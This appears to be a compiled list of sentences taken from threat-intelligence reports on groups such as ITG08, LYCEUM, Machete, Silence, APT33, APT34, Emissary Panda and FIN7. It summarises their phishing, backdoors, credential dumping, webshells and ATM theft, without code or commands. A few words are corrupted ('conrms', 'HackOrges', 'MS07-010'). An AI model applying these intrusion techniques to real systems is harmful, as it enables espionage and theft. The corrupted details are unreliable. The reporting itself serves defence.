Let’s take a closer look at ITG08’s TTPs that are relevant to the campaign we investigated , starting with its spear phishing and intrusion tactics and covering information on its use of the More_eggs backdoor .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
X-Force IRIS determined that the More_eggs backdoor later downloaded additional files , including a signed binary shellcode loader and a signed Dynamic Link Library (DLL) ,as described below , to create a reverse shell and connect to a remote host .
Once the ITG08 established a foothold on the network , they employed WMI and PowerShell techniques to perform network reconnaissance and move laterally within the environment .
The attackers used this technique to remotely install a Metasploit reverse TCP stager on select systems , subsequently spawning a Meterpreter session and Mimikatz .
In addition to the More_eggs malware , ITG08 leveraged in-memory attacks by injecting malicious code , in this case Mimikatz , into legitimate system processes .
A recently rising attack tool in ITG08 campaigns has been the More_eggs JScript backdoor .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
After a successful phishing attack in which users have opened emails and browsed to malicious links , ITG08 attackers install the More_eggs JScript backdoor on user devices alongside several other malware components .
Beyond using More_eggs as a backdoor , ITG08 in this campaign also used offensive security tools and PowerShell scripts to carry out the different stages of the attack .
After injecting Meterpreter into memory , the attacker had complete control of the infected device .
IBM X-Force IRIS has gained insight into ITG08’s intrusion methods ,ability to navigate laterally ,use of custom and open-source tools , and typical persistence mechanisms .
After the phishing email resulted in a successful infiltration , ITG08 used the More_eggs backdoor to gain a foothold and infect additional devices .
In addition , configuring PowerShell script logging and identifying any obfuscation will assist in mitigating ITG08’s use of PowerShell to conduct malicious activity .
The LYCEUM threat group targets organizations in sectors of strategic national importance , including oil and gas and possibly telecommunications .
CTU research indicates that LYCEUM may have been active as early as April 2018 .
In May 2019 , the threat group launched a campaign against oil and gas organizations in the Middle East .
This campaign followed a sharp uptick in development and testing of their toolkit against a public multivendor malware scanning service in February 2019 .
Stylistically , the observed tradecraft resembles activity from groups such as COBALT GYPSY (which is related to OilRig ,Crambus , and APT34 and COBALT TRINITY also known as Elfin and APT33 .
When CTU researchers first published information about LYCEUM to Secureworks Threat Intelligence clients , no public documentation on the group existed .
Using compromised accounts , LYCEUM send spearphishing emails with malicious Excel attachments to deliver the DanBot malware , which subsequently deploys post-intrusion tools .
The developer consistently used Accept-Enconding” (note the extra ‘n’) in all DanBot samples analyzed by CTU researchers .
Get-LAPSP.ps1 is a PowerShell script that gathers account information from Active Directory via LDAP .
LYCEUM deployed this tool via DanBot shortly after gaining initial access to a compromised environment .
LYCEUM delivers weaponized maldocs via spearphishing from the compromised accounts to the targeted executives , human resources (HR) staff , and IT personnel .
This focus on training aligns with LYCEUM’s targeting of executives ,HR staff , and IT personnel .
Despite the initial perception that the maldoc sample was intended for ICS or OT staff , LYCEUM has not demonstrated an interest in those environments .
CTU researchers cannot dismiss the possibility that the LYCEUM could seek access to OT environments after establishing robust access to the IT environment .
LYCEUM is an emerging threat to energy organizations in the Middle East , but organizations should not assume that future targeting will be limited to this sector .
Aside from deploying novel malware , LYCEUM’s activity demonstrates capabilities CTU researchers have observed from other threat groups and reinforces the value of a few key controls .
Password spraying , DNS tunneling , social engineering , and abuse of security testing frameworks are common tactics , particularly from threat groups operating in the Middle East .
The group behind these attacks has stolen gigabytes of confidential documents , mostly from military organizations .
Machete is still very active at the time of this publication , regularly introducing changes to its malware , infrastructure and spearphishing campaigns .
ESET has been tracking a new version of Machete (the group’s Python-based toolset) that was first seen in April 2018 .
This extends to other countries in Latin America , with the Ecuadorean military being another organization highly targeted with the Machete malware .
Their long run of attacks , focused on Latin American countries , has allowed them to collect intelligence and refine their tactics over the years .
Machete is interested in files that describe navigation routes and positioning using military grids .
The Machete group sends very specific emails directly to its victims , and these change from target to target .
The Machete group is very active and has introduced several changes to its malware since a new version was released in April 2018 .
Previous versions were described by Kaspersky in 2014 and Cylance in 2017 .
Since August 2018 , the Machete components have been delivered with an extra layer of obfuscation .
The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
ESET has been tracking this threat for months and has observed several changes , sometimes within weeks .
This way , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
The presence of code to exfiltrate data to removable drives when there is physical access to a compromised computer may indicate that Machete operators could have a presence in one of the targeted countries , although we cannot be certain .
This group is very active and continues to develop new features for its malware , and implement infrastructure changes in 2019 .
Machete's long run of attacks , focused in Latin American countries , has allowed them to collect intelligence and refine their tactics over the years .
ESET researchers have detected an ongoing , highly targeted campaign , with a majority of the targets being military organizations .
The group behind Machete uses effective spearphishing techniques .
First described by Kaspersky in 2014 [1] and later , by Cylance in 2017 [2] ,Machete is a piece of malware found to be targeting high profile individuals and organizations in Latin American countries .
In 2018 Machete reappeared with new code and new features .
As of June 2019 , ESET has seen over 50 victims being actively spied upon by Machete , with more than half of them being computers belonging to the Venezuelan military forces .
Machete has Latin American targets and has been developed by a Spanish-speaking group , presumably from a LATAM country .
Machete was active and constantly working on very effective spearphishing campaigns .
In some cases , Machete trick new victims by sending real documents that had been stolen on the very same day .
Machete relies on spearphishing to compromise its targets .
They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes .
Attackers take advantage of that , along with their knowledge of military jargon and etiquette , to craft very convincing phishing emails .
Operators behind Machete apparently already have information about individuals or organizations of interest to them in Latin America , how to reach them , and how best to trick them into getting compromised .
Since the end of March up until the end of May 2019 , ESET observed that there were more than 50 victimized computers actively communicating with the C&C server .
This extends to other countries in Latin America , with the Ecuadorean military being another organization highly targeted by Machete .
Machete is malware that has been developed and is actively maintained by a Spanish-speaking group .
Since it was active in 2012 , it has been carrying out attacks against sensitive targets in China and is one of the most active APT attack organizations targeting mainland China in recent years .
By introducing small changes to their code and infrastructure , the group has bypassed several security products .
OceanLotus will release malicious sub-packages in the background , receive the remote control command , steal the privacy information of users such as SMS messages , contacts , call records , geographic locations , and browser records .
They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
It can be seen that after the code leakage , the CEO of the HackingTeam organization said that the leaked code is only a small part is based on the facts , which also reflects that the network arms merchants have lowered the threshold of APT attacks to a certain extent , making more uncertainties of cyber attacks .
This report includes details related to the major hacking targets of the SectorJ04 group in 2019 , how those targets were hacked , characteristics of their hacking activities this year and recent cases of the SectorJ04 group’s hacking .
In 2019 , the SectorJ04 group expanded its hacking activities to cover various industrial sectors located across Southeast Asia and East Asia , and is changing the pattern of their attacks from targeted attacks to searching for random victims .
The SectorJ04 group has maintained the scope of its existing hacking activities while expanding its hacking activities to companies in various industrial sectors located in East Asia and Southeast Asia .
There was a significant increase in SectorJ04's hacking activities in 2019 , especially those targeting South Korea .
They mainly utilize spam email to deliver their backdoor to the infected system that can perform additional commands from the attacker’s server .
We saw SectorJ04 group activity in Germany ,the United States , Taiwan , India .
The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system .
The SectorJ04 group’s preexisting targets were financial institutions located in countries such as North America and Europe , or general companies such as retail and manufacturing , but they recently expanded their areas of activity to include the medical , pharmaceutical ,media , energy and manufacturing industries .
The SectorJ04 group mainly used their own backdoor , ServHelper and FlawedAmmy RAT , for hacking .
SectorJ04 also used the Remote Manipulator System (RMS) RAT , a legitimate remote management software created in Russia .
Backdoors are installed in infected systems and SectorJ04 also distributed email stealers , botnet malware and ransomware through those backdoors .
Backdoor installed in the infected system distributed additional botnet malware , ransomware and email stealers .
SectorJ04 was recently confirmed to use additional backdoor called AdroMut and FlowerPippi , which is used to install other backdoor such as FlawedAmmy RAT on behalf of the MSI file , or to collect system information and send it to the attacker’s server .
Although the SectorJ04 group mainly targeted countries located in Europe or North America , it has recently expanded its field of activities to countries located in Southeast Asia and East Asia .
The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
A new type of backdoor called AdroMut and a new malware called FlowerPippi was also found coming from SectorJ04 .
But after 2019 SectorJ04 has changed its hacking strategy to attack using spam email .
The hacking activities of SectorJ04 group , which targeted South Korea in the first half of 2019 , have been continuously discovered .
Prior to 2019 ,the SectorJ04 group conducted large-scale hacking activities for financial gain using exploit kits on websites to install ransomware , such as Locky and GlobeImporter , along with its banking Trojan , on its victims computers .
In June 2019 , continuous SectorJ04's activities targeting South Korea were found again and spam emails were written with various contents , including transaction statements , receipts and remittance cards .
The SectorJ04 group has carried out large-scale hacking activities targeting South Korea , while also expanding the field of attacks to Southeast Asian countries such as Taiwan and the Philippines .
In June , SectorJ04 group conducted hacking using spam emails written in various languages , including English , Arabic , Korean and Italian , and the emails were written with various contents , including remittance card , invoice and tax invoice .
Spam emails and attachments written in Chinese were found in May , and the SectorJ04 group at that time targeted industrial sectors such as electronics and telecommunications , international schools and manufacturing .
In addition to their preexist backdoor , ServHelper and FlawedAmmy , they have also been confirmed to use the backdoor called AdroMut and FlowerPippi .
AdroMut downloads the malware ServHelper and FlawedAmmy RAT used by the SectorJ04 group from the attacker server and simultaneously performs the functions of a backdoor .
The SectorJ04 group , which has been utilizing the same pattern of infection and the same malware for more than six months , is believed to be attempting to change its infection methods such as downloading malware directly from malicious documents without using MSI installation files , changing their spam email format and using new types of backdoor .
Until 2019 , SectorJ04 group had carried out massive website-based hacking activities that mainly utilize ransomware and banking trojans for financial profit , and has also been carrying out information gathering activities to secure attack resources such as email accounts and system login information from users since 2019 .
The SectorJ04 group has shown a pattern of hacking activities that have changed from targeted attacks to a large-scale distribution of spam .
This allows them to expand their range of targets of hacking activities for financial profit , and in this regard , SectorJ04 group has been found to have hacked into a company’s internal network by using a spear phishing email targeting executives and employees of certain South Korean companies around February 2019 .
SectorJ04 group carried out intensive hacking on various industrial sectors , including South Korea’s media , manufacturing and universities , around February and March 2019 .
SectorJ04 used the spear phishing email to spread malicious Excel or malicious Word files , and downloaded the MSI files from the attacker’s server when the malicious documents were run .
SectorJ04 group conducted hacking activities targeting financial institutions located in India and Hong Kong around April 2019 .
SectorJ04 group carried out hacking activities targeting financial institutions located in Italy and other countries around May 2019 .
In late July , SectorJ04 group used FlawedAmmy RAT to carry out hacking attacks on companies and universities in sectors such as education ,job openings ,real estate and semiconductors in South Korea .
In early August , the SectorJ04 group carried out extensive hacking activities targeting the users around the world , including South Korea , India , Britain , the United States , Germany , Canada , Argentina , Bangladesh and Hong Kong .
Spam emails targeting email accounts used in the integrated mail service of public officials were also found in the hacking activity .
They are one of the most active cyber crime groups in 2019 , and they often modify and tweak their hacking methods and perform periodic hacking activities .
Now , Silence is one of the most active threat actors targeting the financial sector .
Since we released our original report , Silence: Moving into the darkside , the confirmed damage from Silence's operations has increased fivefold compared to the figures in Group-IB's initial report .
Silence started by targeting organizations in Russia , gradually shifting their focus to former Soviet countries , and then the world .
Silence also started using Ivoke , a fileless loader , and EDA agent , both written in PowerShell .
Silence 2.0: Going Global is an extension of our original report: Silence: Moving into the Darkside which remains the most significant contribution to the research on the group and is the first such report to reveal Silence’s activity .
Since the report’s release in September 2018 , Group-IB’s Threat Intelligence team has detected 16 campaigns targeting banks launched by Silence .
Like the majority of APT groups ,Silence uses phishing as their infection vector .
In the last successful attack described in Silence: Moving into the darkside , dated April 2018 , the hackers siphoned off about $150 , 000 through ATMs in a single night .
Prior to April 2018 , as described in Group-IB’s Silence: Moving into the darkside report , Silence’s target interests were primarily limited to former Soviet and Eastern European countries including Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
In 2018 , Silence conducted test campaigns to update their database of current targets and expand their attack geography .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
Silence has conducted at least three campaigns using recon emails , followed by malicious mail sent to an updated recipient list .
Group-IB has also detected recon emails sent out to New Zealand .
Since our last public report , Silence has sent out more than 170 , 000 recon emails to banks in Russia , the former Soviet Union , Asia and Europe .
In November 2018 , Silence tried their hand at targeting the Asian market for the first time in their history .
In total , Silence sent out about 80 , 000 emails , with more than half of them targeting Taiwan , Malaysia , and South Korea .
Prior to April 2018 , as described in Group-IB’s Silence: Moving into the darkside report , Silence’s target interests were primarily limited to former Soviet and Eastern European countries including Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
From 16 October 2018 to 1 January 2019 , Silence sent out about 84 , 000 emails in Russia alone to update their address database .
As part of their phishing campaigns , silence still uses Microsoft Office documents with macros or exploits , CHM files , and .LNK shortcuts as malicious attachments .
In the former Soviet Union , Silence targeted banks in Kyrgyzstan , Kazakhstan , and Ukraine .
In 2019 , Group-IB also observed the use of a new fileless PowerShell loader called IvokeThe Silence.Main Trojan , which is the main stage of the attack ,has a full set of commands to control a compromised computer .
As the CnC server , Silence use CnC-3 server running Windows , from which they send commands to download additional modules .
To control ATMs , the group uses the Atmosphere Trojan , which is unique to Silence , or a program called xfs-disp.exe .
In addition , Silence downloads the reverse proxy programs Silence.ProxyBot and Silence. ProxyBot.NET , which are described in detail in the report Silence: moving into the darkside .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
Group-IB specialists tracked a massive mailout of emails containing a malicious Microsoft Word attachment titled Договор.doc” [Contract.doc] .
Silence sent out emails to Russian banks .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
Silence conducted a massive phishing campaign posing as the Central Bank of the Russian Federation .
Group-IB specialists have established that the aim of the attack was to deliver and launch the second stage of Silence’s Trojan , known as Silence.MainModule .
Silence attacked financial organisations in the UK .
Silence conducted the first stage of their Asian campaign , organising a massive phishing attack aimed at receiving an up-to-date list of current recipients in different countries for further targeted attacks delivering their malicious software .
The attackers used the server deployed on 6 June 2019 to control compromised workstations in these banks .
On 24 March 2019 , Silence.ProxyBot (MD5 2fe01a04d6beef14555b2cf9a717615c) was uploaded to VirusTotal from an IP address in Sri Lanka .
On October 18th , 2018 , the group sent out emails to British financial companies as part of their preparatory campaign .
Group-IB experts established that the server 185.20.187.89 started functioning no later than 28 January 2019 .
According to local media reports , in 2019 Silence successfully withdrew money from the Bangladeshi bank twice within 2 months .
To do this , the actor may have used a unique tool called Atmosphere , a Trojan developed by Silence to remotely control ATM dispensers , or a similar program called xfs-disp.exe , which the actor may have used in their attack on IT Bank .
As we described in Silence: Moving into the darkside report , Silence has experience with theft using compromised card processing systems .
In February 2019 , Russian media7 reported a Silence attack on IT Bank in the city of Omsk .
On 16 January 2019 , Silence sent out phishing emails with malicious attachments disguised as invitations to the International Financial Forum iFin-2019 (see section ‘Attack timeline’) .
Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails .
The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.EXE with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
Since at least 2011 , these hackers have been using malware to spy on corporate networks .
Hackers are targeting high-tech companies as well as chemical and pharmaceutical companies .
The hackers will map a company’s network and look for strategically favorable locations for placing their malware .
The corporation conrms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions.” Henkel claims that a very small portion” of its worldwide IT systems had been aected — the systems in Germany .
A BASF spokeswoman tells us in an email that in July 2015 , hackers had successfully overcome the rst levels” of defense .
The tool was written by sta of Thyssenkrupp , because the industrial giant—company number eleven—had been spied on by Winnti .
Hackers are charged with spying on a manufacturer of gas turbines .
The Hong Kong government was spied on by the Winnti hackers .
Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX .
While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam .
NewsBeef attacks against Saudi Arabian organizations and individuals (as well as targets in the European Union) are likely to continue .
Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the APT10 during the compromise and was able to attribute data that was placed into it as being owned by Visma .
Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe .
These RAT families are discussed in Novetta’s other report on the Lazarus Group’s RAT and Staging capabilities .
Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash .
CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
Characterized by relatively unsophisticated technical merit and extensive use of spear phishing ,the Magic Hound targeted individuals and organizations in the Middle East (including targets inside Iran itself) , as well as across Europe and in the United States .
These malware families have a rich history of being used in many targeted attacks against government and private organizations .
The activity surfaced in Southeast Asia , a region where APT10 frequently operates .
The samples we analyzed originated from the Philippines .
APT10 frequently targets the Southeast Asia region .
Both of the loader’s variants and their various payloads that enSilo analyzed share similar Tactics , Techniques , and Procedures (TTPs) and code associated with APT10 .
Typically , APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain .
Also , the certificate embedded in the Quasar sample was issued at 22.12.2018 , which correlates with the file’s compilation date .
Over the past three months , Recorded Future’s Insikt Group has observed an increase in APT33’s also known as Elfin infrastructure building and targeting activity , and on June 21 , 2019 , Yahoo .
News reported that the U.S. Cyber Command launched cyberattacks on an Iranian spy group .
Iranian state-sponsored threat actor APT33 has been conducting cyberespionage activity since at least 2013 , predominantly targeting nations in the Middle East , but also notably targeting U.S. , South Korean , and European commercial entities across a wide variety of sectors .
Our research found that APT33 , or a closely aligned threat actor , continues to conduct and prepare for widespread cyberespionage activity , with over 1 , 200 domains used since March 28 ,2019 and with a strong emphasis on using commodity malware .
The targeting of mainly Saudi Arabian organizations across a wide variety of industries aligns with historical targeting patterns for the group , which appear undeterred following previous exposés of their activity .
Towards the end of April 2019 , we tracked down what we believe to be new activity by APT10 ,a Chinese cyber espionage group .
Almost 60% of the suspected APT33 domains that were classified to malware families related to njRAT infections , a RAT not previously associated with APT33 activity .
Other commodity RAT malware families , such as AdwindRAT and RevengeRAT , were also linked to suspected APT33 domain activity .
APT33 is an Iranian state-sponsored threat actor that has engaged in cyberespionage activities since at least 2013 .
Western and Saudi organizations in industries that have been historically targeted by APT33 should be monitoring geopolitical developments and increasing the scrutiny of operational security controls focusing on detection and remediation of initial unauthorized access , specifically from phishing campaigns , webshells .
Symantec’s Elfin report denoted additional targeting of the engineering , chemical , research , finance , IT , and healthcare sectors .
We assess that the recent reporting on links between the Nasr Institute and Kavosh Security Group , as well as technical and persona analysis , overlaps among APT33 , APT35 , and MUDDYWATER , and is probably a result of the tiered structure that Iran utilizes to manage cyber operations .
Recorded Future has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) .
FireEye also noted in their 2017 report that the online handle xman_1365_x , ” found within the PDB path in an APT33 TURNEDUP backdoor sample , belonged to an individual at the Nasr Institute .
Recorded Future’s Insikt Group has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) .
Based on this information ,it is possible that upon the exposure of the Nasr Institute as a front for Iranian state-sponsored offensive cyber activity , employees transitioned over to other entities , such as Kavosh , to protect their identities and minimize further exposure .
Insikt Group researchers used proprietary methods , including Recorded Future Domain Analysis and Recorded Future Network Traffic Analysis , along with other common analytical approaches , to profile recently reported Iranian threat actor APT33’s domain and hosting infrastructure in an effort to identify recent activity .
Insikt Group enumerated all domains reported as being used by APT33 since January 2019 .
PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more .
Using data from Recorded Future Domain Analysis and combining it with data derived from Recorded Future Network Traffic Analysis , Insikt Group researchers were able to identify a small selection of likely targeted organizations impacted by suspected APT33 activity .
Following the exposure of a wide range of their infrastructure and operations by Symantec earlier this year , we discovered that APT33 , or closely aligned actors , reacted by either parking or reassigning some of their domain infrastructure .
Since late March , suspected APT33 threat actors have continued to use a large swath of operational infrastructure , well in excess of 1 , 200 domains , with many observed communicating with 19 different commodity RAT implants .
While we haven’t observed a widespread targeting of commercial entities or regional adversaries like in previously documented APT33 operations , the handful of targeted organizations that we did observe were mainly located in Saudi Arabia across a range of industries , indicating ongoing targeting aligned with geopolitical aims .
The zip contained a sample of the Poison Ivy malware which is also known to be used by APT10 .
The new malware families , which we will examine later in this post , show APT34 relying on their PowerShell development capabilities , as well as trying their hand at Golang .
Additionally , with the assistance of our FireEye Labs Advanced Reverse Engineering (FLARE) , Intelligence , and Advanced Practices teams , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 .
This threat group has conducted broad targeting across a variety of industries operating in the Middle East; however , we believe APT34's strongest interest is gaining access to financial , energy , and government entities .
Additionally , with the assistance of FireEye Labs , we identified three new malware families and a reappearance of PICKPOCKET , malware exclusively observed in use by APT34 .
APT34 is an Iran-nexus cluster of cyber espionage activity that has been active since at least 2014 .
This CPE was created to ensure our customers are updated with new discoveries , activity and detection efforts related to this campaign , along with other recent activity from Iranian-nexus threat actors to include APT33 , which is mentioned in this updated FireEye blog post .
On June 19 , 2019 , FireEye’s Managed Defense Security Operations Center received an exploit detection alert on one of our FireEye Endpoint Security appliances .
A backdoor that communicates with a single command and control (C2) server using HTTP GET and POST requests , TONEDEAF supports collecting system information , uploading and downloading of files , and arbitrary shell command execution .
FireEye’s Advanced Practices and Intelligence teams were able to identify additional artifacts and activity from the APT34 actors at other victim organizations .
Of note , FireEye discovered two additional new malware families hosted at this domain , VALUEVAULT and LONGWATCH .
This tool was previously observed during a Mandiant incident response in 2018 and , to date , solely utilized by APT34 .
PICKPOCKET is a credential theft tool that dumps the user's website login credentials from Chrome , Firefox , and Internet Explorer to a file .
FireEye detects this activity across our platforms , including named detection for TONEDEAF , VALUEVAULT , and LONGWATCH .
Several spear-phishing campaigns attributed to Carbanak , all occurring between March and May 2018 , were analyzed by security researchers in 2018 .
One of the most prolific APT-style cyberattacks , specifically targeting the financial sector , is known as Carbanak .
Discovered in 2014 , the campaign quickly gained notoriety after compromising the security systems of 100 banks in 40 countries and stealing up to $1 billion in the process .
The same group is believed to have also been using the Cobalt Strike framework to run sophisticated campaigns , plotting and performing financial heists of financial institutions .
Banks in countries such as Russia , the United Kingdom , the Netherlands , Spain , Romania , Belarus , Poland , Estonia , Bulgaria , Georgia , Moldova , Kyrgyzstan , Armenia , Taiwan and Malaysia have allegedly been targeted with spearphishing emails , luring victims into clicking malicious URLs and executing booby-trapped documents .
A Carbanak trademark in cyberattacks remains the use of Cobalt Strike – a powerful pentesting tool designed for exploiting and executing malicious code , simulating post-exploitation actions of advanced threat actors – which allows them to infiltrate the organization , move laterally , exfiltrate data , and deploy anti-forensic and evasion tools .
However , this action doesn’t appear to have made a dent in the cybercriminal organization , as subsequent spear-phishing campaigns seem to have been reported from March until May 2018 .
Bitdefender’s forensics and investigation team was contacted to look into a security incident that started in May 2018 with an email received by two of the bank’s employees .
The Carbanak group , which has a long track record of compromising infrastructure belonging to financial institutions , is still active .
Its purpose remains to manipulate financial assets , such as transferring funds from bank accounts or taking over ATM infrastructures and instructing them to dispense cash at predetermined time intervals .
If the attack had succeeded , it would have given hackers control over the ATM network , while money mules would have been standing by the ATM machines at pre-set time intervals to cash them out .
The actors uploaded a variety of tools that they used to perform additional activities on the compromised network , such as dumping credentials , as well as locating and pivoting to additional systems on the network .
We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
Bitdefender’s investigation shows the attackers’ main methods remain to quietly infiltrate the infrastructure by establishing a foothold on an employee’s system , then move laterally across the infrastructure or elevate privileges to find critical systems that manage financial transactions or ATM networks .
We also found the China Chopper webshell on the SharePoint servers , which has also been used by the Emissary Panda threat group .
Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
This webshell activity took place across three SharePoint servers hosted by two different government organizations between April 1 , 2019 and April 16 , 2019 , where actors uploaded a total of 24 unique executables across the three SharePoint servers .
The timeline shows three main clusters of activity across the three webshells , with activity occurring on two separate webshells (green and orange) within a very small window of time on April 2 , 2019 and the activity involving the third webshell two weeks later on April 16 , 2019 .
In April 2019 , several national security organizations released alerts on CVE-2019-0604 exploitation , including the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security .
Based on the functionality of the various tools uploaded to the webshells , we believe the threat actors breach the SharePoint servers to use as a beachhead , then attempt to move laterally across the network via stolen credentials and exploiting vulnerabilities .
We also observed the actors uploading custom backdoors such as HyperBro which is commonly associated with Emissary Panda .
Both of these alerts discussed campaigns in which actors used the CVE-2019-0604 to exploit SharePoint servers to install the China Chopper webshell .
During our research into this attack campaign , Unit 42 gathered several tools that the Emissary Panda uploaded to the three webshells at the two government organizations .
We also observed the actors uploading the HyperBro backdoor to one of the webshells , as well as legitimate executables that would sideload malicious DLLs that have overlapping code associated with known Emissary Panda activity .
Lastly , we saw the actor uploading a custom backdoor called HyperBro , which has been associated with Emissary Panda operations in the past .
The other overlapping files are tools used by the adversary to locate other systems on the network (etool.exe) , check to see if they are vulnerable to CVE-2017-0144 (EternalBlue) patched in MS07-010 (checker1.exe) and pivot to them using remote execution functionality offered by a tool similar to PsExec offered by Impacket (psexec.exe) .
Also , the NCSC advisory mentioned that the actors used a file name stylecss.aspx for their webshell , which is the same filename we saw associated with China Chopper .
We will provide an analysis of the HyperBro tool in an upcoming section .
However , using NCC Group’s research published in May 2018 , we were able to discover code overlaps between these DLLs and a sideloaded DLL that ran the SysUpdate tool that the NCC group has associated with an Emissary Panda campaign .
The list also includes several hack tools , such as Mimikatz for credential dumping and several compiled python scripts used to locate and compromise other systems on the local network .
we do not have access to the PYTHON33.hlp or CreateTsMediaAdm.hlp files , so we do not know the final payload loaded by either of these DLLs .
Figure 9 shows a code comparison between the PYTHON33.dll (right) and inicore_v2.3.30.dll (left) (SHA256: 4d65d371a789aabe1beadcc10b38da1f998cd3ec87d4cc1cfbf0af014b783822) , which was sideloaded to run the SysUpdate tool in a previous Emissary Panda campaign .
The Emissary Panda threat group loaded the China Chopper webshell onto SharePoint servers at two Government organizations in the Middle East , which we believe with high confidence involved exploiting a remote code execution vulnerability in SharePoint tracked in CVE-2019-0604 .
The files uploaded to this webshell included the same compiled python script that would scan remote systems that were vulnerable to CVE-2017-0144 (EternalBlue) that we saw uploaded to the other errr.aspx webshell .
According to Microsoft’s advisory , this vulnerability was patched on March 12 , 2019 and we first saw the webshell activity on April 1 , 2019 .
We believe the actors pivoted to other systems on the network using stolen credentials and by exploiting the CVE-2017-0144 (EternalBlue) vulnerability patched in MS17-010 .
Once the adversary established a foothold on the targeted network , they used China Chopper and other webshells to upload additional tools to the SharePoint server to dump credentials , perform network reconnaissance and pivot to other systems .
We also observed Emissary Panda uploading legitimate tools that would sideload DLLs , specifically the Sublime Text plugin host and the Microsoft’s Create Media application , both of which we had never seen used for DLL sideloading before .
Consequently , the Linux malware ecosystem is plagued by financial driven crypto-miners and DDoS botnet tools which mostly target vulnerable servers .
We also observed the actors uploading legitimate tools that would sideload DLLs , specifically the Sublime Text plugin host and the Microsoft’s Create Media application , both of which we had never seen used for DLL sideloading before .
It has been active since at least 2013 , and has targeted individuals likely involved with the Ukrainian government .
The group’s implants are characterized by the employment of information stealing tools among them being screenshot and document stealers delivered via a SFX , and made to achieve persistence through a scheduled task .
The finding shows that EvilGnome operates on an IP address that was controlled by the Gamaredon group two months ago .
FIN7 operations are linked to numerous intrusion attempts having targeted hundreds of companies since at least as early as 2015 .
The FIN7 intrusion set continued its tailored spear phishing campaigns throughout last year .
In addition , during the investigation , we discovered certain similarities to other attacker groups that seemed to share or copy the FIN7 TTPs in their own operations .
In 2018-2019 , researchers of Kaspersky Lab’s Global Research and Analysis Team analyzed various campaigns that used the same Tactics Tools and Procedures (TTPs) as the historic FIN7 , leading the researchers to believe that this threat actor had remained active despite the 2018 arrests .
One of the domains used by FIN7 in their 2018 campaign of spear phishing contained more than 130 email HackOrges , leading us to think that more than 130 companies had been targeted by the end of 2018 .
Interestingly , following some open-source publications about them , the FIN7 operators seems to have developed a homemade builder of malicious Office document using ideas from ThreadKit , which they employed during the summer of 2018 .
The first module downloaded by the GRIFFON malware to the victim’s computer is an information-gathering JScript , which allows the cybercriminals to understand the context of the infected workstation .
The new GRIFFON implant is written to the hard drive before each execution , limiting the file-less” aspect of this method .
Given FIN7’s previous use of false security companies , we decided to look deeper into this one .
This activity cluster , which Kaspersky Lab has followed for a few years , uses various implants for targeting mainly banks , and developers of banking and money processing software solutions .
FIN7’s last campaigns were targeting banks in Europe and Central America .
After a successful penetration , FIN7 uses its own backdoors and the CobaltStrike framework or Powershell Empire components to hop to interesting parts of the network , where it can monetize its access .
AveMaria is a new botnet , whose first version we found in September 2018 , right after the arrests of the FIN7 members .
This threat actor stole suspected of stealing €13 million from Bank of Valetta , Malta earlier this year .
In fact , AveMaria is a classic infostealer bot that collects all possible credentials from various types of software: browsers , email clients , messengers , etc , and can act as a keylogger .
They also use AutoIT droppers , password-protected EXE files and even ISO images .
To deliver their malware , the cyber criminals use spearphishing emails with various types of attachments: MS Office documents or spreadsheet files exploiting some known vulnerability like CVE-2017-11882 , or documents with Ole2Link and SCT .
Interestingly , this actor targeted financial entities and companies in one African country , which lead us to think that CopyPaste was associated with cybermercenaries or a training center .
At the end of 2018 , while searching for new FIN7 campaigns via telemetry ,we discovered a set of activity that we temporarily called CopyPaste” from a previously unknown APT .
